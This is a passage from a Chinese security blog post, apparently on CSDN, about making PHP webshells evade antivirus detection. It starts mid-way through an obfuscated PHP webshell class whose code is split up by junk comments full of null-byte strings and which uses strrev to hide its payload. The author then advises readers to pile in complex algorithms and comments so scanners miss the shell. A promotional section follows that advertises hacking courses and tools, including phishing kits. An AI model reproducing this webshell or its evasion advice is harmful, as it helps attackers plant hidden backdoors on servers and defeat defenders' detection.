blockC/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/+ $this \-> blockD;  
        }  
  
        public function/\*\\00\\00\\00%00%00fvjiv  
        fmfveb vebvgebb;  
        gjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/getLockerStatus() {  
            global $text;$text \=/\*\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\  
            00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\\00\\00\\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\*/strrev($text);  
            if ($this \-> blockA \===$this \-> blockB and $this \-> blockA \=== $this \-> blockC and $this \-> blockA \=== $this \-> blockD) return true;  
            else return false;  
        }  
    }  
  
    function pause($obj) {  
        global $appor5nnb;  
        if (!$appor5nnb \-> getLockerStatus()) die();  
        return $obj;  
    }  
  
    $appor5nnb \= new InazumaPuzzle();  
    $appor5nnb \-> \_\_AFG50CE4\_RG1();  
    $cvb33ff55 \= new PerlinNoise(3000, 700.4, 56.7, "DIFF\_PERLIN");  
    $cvb33ff55->\_\_BHUYTVV8\_1();  
    $cvb33ff55 \-> \_\_CPRBB0R0\_l();  
    $cvb33ff55 \->\_\_HNBB70CA\_5();    
?>  


这个代码看着就乱,根本读不下去,里面很多无用代码,很容易被误导,读不懂。
图片

图片

图片

总结

webshell的免杀有很多方式,师傅们可以多加一些复杂的算法和注释进去,让代码变得混乱,这样杀毒软件就很难检测了。

参考

https://github.com/misaka19008/PerlinPuzzle-Webshell-PHP/blob/master/perlin.php
https://zhuanlan.zhihu.com/p/206271895?ivk_sa=1024320u&utm_id=0
https://www.miyoushe.com/ys/article/17414097https://blog.csdn.net/qq_45521281/article/details/105849770

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

题外话

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

在这里插入图片描述

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的网安视频教程,之前都是内部资源,专业方面绝对可以秒杀国内99%的机构和个人教学!全网独一份,你不可能在网上找到这么专业的教程。

内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,200多G的资源,不用担心学不全。
在这里插入图片描述
因篇幅有限,仅展示部分资料,需要见下图即可前往获取
在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

在这里插入图片描述

因篇幅有限,仅展示部分资料,需要见下图即可前往获取
在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话见下图即可前往获取
在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

因篇幅有限,仅展示部分资料,需要见下图即可前往获取
在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
————————————————

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网安导师小李

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值